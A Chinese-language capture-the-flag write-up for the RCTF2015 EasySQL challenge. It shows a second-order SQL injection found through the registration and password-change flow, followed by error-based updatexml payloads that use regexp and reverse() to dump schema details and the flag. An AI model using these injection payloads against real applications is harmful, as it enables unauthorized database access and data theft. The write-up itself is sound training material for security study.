RCTF2015-EasySQL
[RCTF2015]EasySQL
进入题目是一个登录页面,有注册和修改密码功能……似乎有index.phps源码,但是forbidden
发现admin已经被注册……难道可以先注入获取admin账户再得到源码进一步渗透?
注册一个\
,在change密码时发生报错:
pwd后的一串是0的md5值……
这可能是二次注入,在拿出数据时没有进行转义发生的漏洞,鉴于打印了报错信息,即可进行报错注入
类似之前的题构造,但是用户名存在过滤,首次尝试fuzz操作……

过滤了很多……
"&&pwd=updatexml(1,concat(0x7e,(select(database())),0x7e),1)#
成功回显数据库名
"&&pwd=updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name=0x666c6167)),0x7e),1)#
获取表名

发现flag表

flag列

fakeflag……那去查查user表

应该是real_flag_1s_here,似乎有多行……concat

这样的查询表明,很多行的数据都是xxx,而flag应当在其中一行
limit似乎用不了,很多加密也不行,mid、substr、right、left都被ban了……
学习了正则的使用:
"&&pwd=updatexml(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)where(select(real_flag_1s_here)regexp('^l'))),0x7e),1)#
或
"&&pwd=updatexml(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')),0x7e),1)#
where(real_flag_1s_here)regexp(‘^f’)匹配real_flag_1s_here列中以f开头的那一行数据,大概是优先于group_concat的,所以也可以:
“&&pwd=updatexml(1,concat(0x7e,(select(real_flag_1s_here)from(users)where(real_flag_1s_here)regexp(‘^f’)),0x7e),1)#
怎么解决位数不足显示不全的问题呢?正则帮助我们拿出了这一行的数据,我们就可以将这行数据逆向输出
reverse
"&&pwd=updatexml(1,concat(0x7e,(reverse((select(real_flag_1s_here)from(users)where(real_flag_1s_here)regexp('^f')))),0x7e),1)#
XPATH syntax error: ‘~flag{4c5c3709-12d5-40af-82f2-c3’
XPATH syntax error: ‘~}8f414a13433c-2f28-fa04-5d21-90’
<php?echo strrev(“}8f414a13433c-2f28-fa04-5d21-90”);
flag{4c5c3709-12d5-40af-82f2-c33431a414f8}
获得flag……
RCTF2015-EasySQL